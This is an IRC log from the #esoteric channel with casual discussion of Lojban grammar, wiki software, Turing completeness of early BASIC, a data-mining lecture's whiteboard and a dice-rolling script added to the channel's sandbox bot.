:uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But they all use precisely the same grammar. < 1268690389 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :where each verb has an overriding say in what follows int < 1268690391 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268690394 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :they don't < 1268690420 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So what's an example of differing grammar? < 1268690475 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :you can't tell me that WALK 1.left 2.relative to John is the same as EAT 1.fast 2.John's food 3.on the left < 1268690487 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :If the third slot of EAT specifies location < 1268690492 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :then location goes there < 1268690500 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :whereas the third slot of DRIVE may specify time < 1268690506 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and you can't put location there < 1268690550 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So you're saying that in Lojban, the thing denoted by a slot varies by what the verb is? < 1268690552 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :here, the language has no say in what order/what type of slots go where, why? Because each verb is different < 1268690560 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1268690575 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :If WALK expects 1.direction 2.speed < 1268690576 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, heck, English does that, too. < 1268690587 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :it would be nonsensical to write WALK 1.fast 2.left < 1268690593 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, in english < 1268690598 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I walk to the left, quickly < 1268690605 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I walk quickly to the left < 1268690610 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Boil" takes one thing in its subject slot, "jump" takes a different thing in its subject slot. < 1268690621 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl you're not seeing my point < 1268690658 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :not what it takes, but the order. SVO *is* English. Lojban, verbs specify what comes where < 1268690683 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :22:57 < hiato> where each verb has an overriding say in what follows int < 1268690719 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :see what I mean? < 1268690722 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I can give you an example of two verbs in English that mean the same thing but take their arguments in different slots. < 1268690734 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In English, "X likes Y" and "Y pleases X" mean the same thing. < 1268690753 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268690760 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In the something-likes-something relation, there's no inherent subject or object there; English verbs assign them arbitrarily. < 1268690771 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :no, they don't, and again, you're confusing the matter with SVO and the order VERBS take qualification < 1268690784 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :it's not who does what, but the what is being done that gets qualified < 1268690792 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and that's where the difference is < 1268690824 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think I've lost track of what your point is. < 1268690838 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(either way, John likes Mary and John eats Mary - both times English assigns SVO, verbs have no say) < 1268690846 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :eh < 1268690865 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I tire, so I'm gonna hit the sack < 1268690875 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, re-read over the logs for what it's worth < 1268690877 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Lojban also has SVO! You put the x1 before the verb, and the x2, the x3, the x4, and the x5 after! < 1268690884 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :it woujld seem we're saying different things < 1268690892 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Maybe so. < 1268690892 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268690892 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and so arent arguing about anything < 1268690906 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Whatever it is, it's your fault. :P < 1268690924 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yes, I agree with taht SVO in lojban, but that is not how the verb qualification works. X1 may not be subject, X2 may not be verb etc < 1268690929 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh, whatever :P < 1268690933 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :anyway, cheers < 1268690937 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :it's been interesting < 1268690943 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :as always on this channel < 1268690963 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1268690966 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In English, the subject slot may not be the x1, the verb may not be the x2, etc. < 1268690980 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The subject/object distinction is just as arbitrary as the x1/x2/x3/x4/x5 distinction. < 1268691729 0 :MigoMipo!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268692087 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, x? < 1268692114 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also stop talking about non-esolangs for a momement :/ < 1268692119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :moment < 1268692119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :' < 1268692126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/'/*/ < 1268692170 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :x1 x2 x1 x1 x2 x3 x1 x2 x3 x1 x4 x5 x6 x7 x2 x5 x1 < 1268692176 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :x1 x4 x4 x4??? < 1268692238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, I just have no idea what they mean < 1268692650 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268693147 0 :Ilari!~Ilari@a88-112-50-174.elisa-laajakaista.fi JOIN :#esoteric < 1268693931 0 :MigoMipo!~MigoMipo@84-217-10-194.tn.glocalnet.net JOIN :#esoteric < 1268694645 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268694793 0 :Ilari_!~user@a88-112-50-174.elisa-laajakaista.fi JOIN :#esoteric < 1268694840 0 :Ilari!unknown@unknown.invalid QUIT :Quit: leaving < 1268694841 0 :Ilari_!unknown@unknown.invalid NICK :Ilari < 1268694856 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1268695186 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Hello? < 1268695232 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Good day to you too, sir. < 1268695233 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Erm < 1268695234 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Hi < 1268695261 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Hello. < 1268695268 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Who maintains the wiki? < 1268695297 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It's using an *incredibly* out-of-date version of MediaWiki. < 1268695465 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :is it out-of-date enough to be esoteric? if not, we just have to wait a while :) < 1268695517 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :olsner: lawl < 1268695523 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It should be running Hackiki ^^ < 1268695523 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268695535 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Seriously, who does maintain it? < 1268695557 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The ever-enigmatic graue. < 1268695574 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :hackiki? reminds me of a kebab place here that's called hakepi < 1268695589 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :olsner: http://hackiki.org/ But instead, it's the GREATEST WIKI SOFTWARE EVARS < 1268695616 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: but it will not feed me! < 1268695620 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Whiteboard scribblings from a lecture: http://www.cis.hut.fi/~itniemin/lumileopardi.jpg < 1268695625 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :olsner: Won't it? WON'T IT? < 1268695638 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Useful. < 1268695644 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I suppose you could write a wiki using Brainfuck and CGI. < 1268695667 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I VERY MUCH DOUBT that it will < 1268695669 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Though the tape would need to be *enormous*. < 1268695688 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Haaaaaaaa < 1268695690 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ckiiiiiiii < 1268695691 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :ooh, actually, we could write the wiki in mod_rewrite! < 1268695692 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Kiiiiiiiii < 1268695721 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :just needs some storage api, but that can be built external to the rewriting < 1268695745 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard. < 1268695773 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :mod_rewrite is horribly inefficient though, it'll run out of memory in notime < 1268695787 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: HA < 1268695789 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :olsner: CKI < 1268695791 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: KI < 1268695822 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: meh < 1268695824 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(This is the only kind of software evangelism I know how to do :P ) < 1268695832 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :olsner: Meh? D-8 < 1268695871 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268695874 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :"CKI"? "KI"? < 1268695880 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: Whiteboard scribblings from a lecture: http://www.cis.hut.fi/~itniemin/lumileopardi.jpg <-- quantum physics? < 1268695890 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: "Hackiki" :P < 1268695923 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: picture of a clown? < 1268695924 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hackiki is actually pretty awesome. < 1268695932 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I suppose if that ESO OS (first on the forum) gets working you could hack together an HTTP server. < 1268695960 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And yes, Hackiki looks cool. < 1268695980 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :hmm, maybe multi-process postscript or something :) < 1268695992 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268696004 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :olsner: D-8 < 1268696012 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Like I described it to Gregor: "It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard." < 1268696013 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :"D-8"? < 1268696022 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I'm not good at acronyms. < 1268696027 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Clearly. < 1268696035 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :"Date"? < 1268696043 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I was rolling 1 negative-8 sided die. < 1268696053 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1268696064 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Everyone else: Was that too mean? :P < 1268696084 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: Lean your head to the right :P < 1268696084 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1268696089 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I'm now thoroughly confused. < 1268696111 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: 本当に？グレーが君がやったね！ < 1268696112 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :it's a smiley < 1268696127 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :s/グレーが/グレーガ/ < 1268696176 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :although it's the very opposite of a smiley, in some sense < 1268696184 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :in some other sense it is exactly a smiley < 1268696195 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's a megafrowny < 1268696209 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :(then again, the negative-8 sided die is also a sense, so I'm not saying much here) < 1268696235 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(*echm* Really? Gregor has succeeded!) < 1268696287 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Must dash. < 1268696288 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1268696317 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I'm certain there's another way to represent "must dash" < 1268696358 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :行くはず。 < 1268696360 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :^ That? < 1268696385 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't that be a 'ki' rather than 'ku'? < 1268696399 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :olsner: Should it? < 1268696450 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :it depends on how you read the other characters < 1268696482 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`fetch http://pastebin.ca/raw/1841805 < 1268696492 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :2010-03-15 22:41:08 URL:http://pastebin.ca/raw/1841805 [445] -> "1841805" [1] < 1268696504 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Should definitely be く. < 1268696513 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`run mv "1841805" bin/roll ; dos2unix bin/roll; chmod 0755 bin/roll < 1268696517 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268696519 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`roll 55d6 < 1268696521 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268696524 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Whoops < 1268696726 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: When two people dream the same dream, it ceases to be an illusion. KVIrc 3.4.2 Shiny http://www.kvirc.net < 1268696738 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. はず is probably wrong in this context, though. Should be more 行かなくちゃ。 < 1268696769 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i'll hazu your ikanakucha < 1268696771 0 :jay!~jay@c-75-67-0-54.hsd1.ma.comcast.net JOIN :#esoteric < 1268696777 0 :jay!unknown@unknown.invalid PRIVMSG #esoteric :HI < 1268696787 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :augur: Hah. < 1268696799 0 :jay!unknown@unknown.invalid NICK :Guest31015 < 1268696800 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :jay: ようこそ。 < 1268696841 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Hello Mr. Anonymous Guest < 1268696884 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :私は、私はGoogle翻訳を使用して日本語を話さない < 1268696900 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :haha google can't translate it's own name < 1268696913 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Congrats. :P < 1268696913 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: Nobody here speaks Japanese, pikhq just likes to think that he does. < 1268696920 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268696934 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268696940 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Hey, I'm actually *learning* Japanese you know. < 1268696950 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :Can a language with no array support be turing-complete? < 1268696962 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268696963 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :turing machines have no arrays < 1268696973 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :how can it emulate a 'tape' < 1268696975 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though I don't think you need to know Japanese to tell he just used Google's translator. < 1268696980 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Arguably the tape is an "array", however the Lambda calculus certainly has no arrays. < 1268696988 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: it doesn't emulate a tape it *has* a tape < 1268696994 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Guest31015: Depends on the language. < 1268696995 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :that's the definition of a TM < 1268697043 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :olsner: For some unfathomable reason I have an irresistible urge to reply "no, YOU are the tape" to that. < 1268697057 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In Soviet Russia, tape emulate YOU! < 1268697082 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :haha :) < 1268697090 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Anyhoo, two stacks is also a fashionable way to emulate a tape. < 1268697126 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :although it's more the string rewriting type of tape because you can add new cells < 1268697128 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and remove them < 1268697173 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :what about Commodore Basic? Is it turing complete? I think it does not have arrays < 1268697174 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the kind you'd use with thue, no one actually uses the nondeterminism < 1268697204 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: picture of a clown? <-- not "of": "by" < 1268697208 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: Like I described it to Gregor: "It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard." <-- wth < 1268697221 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :most programming langaugges are turing complete, because it's very hard not to be < 1268697229 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: In fact, fi:lumileopardi (in the file name) is en:"snow leopard". < 1268697231 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fax's previous statement is not true. < 1268697243 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :which one ?? < 1268697253 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The "very hard not to be part" < 1268697254 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Erm < 1268697256 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The "very hard not to be" part < 1268697269 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it is hard not to be turing complete < 1268697270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, why < 1268697279 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is easy to not be Turing complete. < 1268697284 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just put while(1) around almost anything and it becomes TC < 1268697291 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What's hard is to both be not Turing complete *and* be useful. < 1268697303 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :sql can do it < 1268697308 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not too difficult to design HQ9+, really < 1268697321 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I would be very surprised if some of the earliest incarnations of BASIC were TC ... like the guest said, no arrays, and most didn't even have scopes, making local variables useless and recursion impossible. < 1268697321 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1268697322 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so guys < 1268697332 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :who's written proper regex engines? < 1268697333 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyone? < 1268697340 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Not me! < 1268697350 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm well Gregor that's a good point if you have finite variables which are all fixed size integers :| < 1268697353 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Register machine, maybe? < 1268697356 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's written stuff that abuses regexes
< 1268697359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ? < 1268697361 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's a sort of a "you had to be there" thing, but briefly... the lecturer kept on scribbling more things on top of the picture, and everyone was trying to follow; at some point he added that thing with no explanation at all. Something like 15 minutes later someone finally asked "what's that pi-like thing there", and he replied "it's a snow leopard". A beat panel, then lots of laughter. < 1268697371 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :presumably there was a stack ? < 1268697376 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but maybe not.. < 1268697384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, heh < 1268697391 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: BASIC did not have a stack initially. < 1268697396 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It had GOTO. < 1268697402 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GOSUB was a latter addition < 1268697403 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Gosub was an "innovation" < 1268697434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, thus it follows that snow leopards have the value 1? < 1268697437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no? < 1268697445 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What picture is this? < 1268697450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since they are equivalent to pi^0 < 1268697452 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, Gregor: On the other hand, that sort of BASICs (at least the ones I've used) tend to have PEEK and POKE. Of course it's still finite-sized, but so's the computer. < 1268697455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is equal to 1 < 1268697470 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, PEEK and POKE make things ... odd. < 1268697471 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: http://www.cis.hut.fi/~itniemin/lumileopardi.jpg < 1268697489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is the T supposed to be then? < 1268697521 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: FACIES O_O < 1268697522 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :PEEK and POKE make it into definitely a register machine. Thus, it's TC if given infinite memory... < 1268697527 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :I can draw a picture that's tcx < 1268697529 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :tc < 1268697541 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :whats that a picture of, fizzie < 1268697545 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The T and S have some sensible meanings there, though I've forgotten what they were. Pretty much everything else in the picture, except the snow leopard, has at least some sort of justification. < 1268697560 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :augur: Here's a copy of my earlier description: "It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard." < 1268697568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hard to imagine some of those < 1268697577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, like those wavy lines < 1268697601 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :or 9x above one of the points < 1268697614 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what does "positive and negative border" mean here? < 1268697731 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268697741 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :interesting, fizzie. sort of. < 1268697771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, correction: enlightening < 1268697776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(if only I know of what) < 1268697832 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268697838 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268697838 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Hrm, well... let P be a set of patterns, S a subset of it, and define a partial order (denoted < for now) in S; now the positive border of S are such elements x of it that for all other elements y in P for which x < y, y is not in S. < 1268697897 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268697910 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: And the negative border are the elements x in P\S such that for all elements y in P such that y < x, y is in S. Or something like that anyway. < 1268697942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, okay. But err, what is that useful for? < 1268697946 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :briefly < 1268697950 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's not a very useful construction "in general", but it's useful for analysing the complexity of algorithms that try to find frequent patterns in P. < 1268697964 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: This was some sort of "data mining"-themed course. < 1268697971 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268698035 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268698079 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Actually s/patterns/sets of items/; I don't think we made very much headway into finding actual patterns, just sets of items that tend to occur often together. < 1268698119 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(And for some reason all the examples were about supermarket sales data, and finding out that people who buy beer also buy sausages, and vice versa.) < 1268698137 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268698154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268698189 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, that is rather strange, more varied examples would have been nicer < 1268698214 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Algorithmic methods of data mining P": "The course covers general topics in data mining, such as pattern discovery, clustering of data, and approximation of probability distributions. A special emphasis is put on algorithmic techniques to analyze discrete data." < 1268698260 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ha, the very first slideset of the course I opened -- https://noppa.tkk.fi/noppa/kurssi/t-61.5060/luennot/T-61_5060_04_frequent_sets.pdf -- starts with "Customer 1: mustard, sausage, beer, chips" (if you discount the title page). < 1268698270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is the "P" in the title for? < 1268698282 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :P denotes "acceptable for postgraduate students". < 1268698282 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Postgraduate course < 1268698284 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1268698285 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Aye < 1268698304 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. It's the English version of the Finnish "L", which comes from... actually, where *does* it come from? < 1268698305 0 